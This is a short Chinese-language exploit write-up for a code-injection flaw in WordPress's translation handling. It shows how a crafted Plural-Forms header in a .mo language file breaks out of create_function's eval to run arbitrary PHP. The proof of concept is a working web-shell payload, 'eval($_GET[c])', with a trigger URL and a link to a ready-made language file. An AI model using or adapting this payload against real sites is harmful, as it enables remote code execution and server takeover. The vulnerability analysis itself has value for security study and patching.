漏洞分析:
漏洞文件 wp-includes/pomo/translations.php:
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
在调用PHP create_function
时,我们通过}
将原函数闭合,添加我们想要执行的内容后再使用/*
将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。 :-)
因为create_function
内部使用了eval
来执行代码,具体参见PHP手册上的说明:
所以由于这个特性,如果我们可以控制create_function
的$code
参数,那就有了任意代码执行的可能。
参考:
- http://www.exploit-db.com/exploits/32416/
- http://bugs.php.net/bug.php?id=48231
- http://www.2cto.com/Article/201212/177146.html
PoC:
Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*;
你可以设置默认语言为中文,然后访问其中访问index.php?c=phpinfo();
触发payload
/index.php?c=phpinfo();
.mo 语言文件: http://drive.google.com/file/d/0ByqJ6Vtb_VsYbkw5U0F4QzBrUnM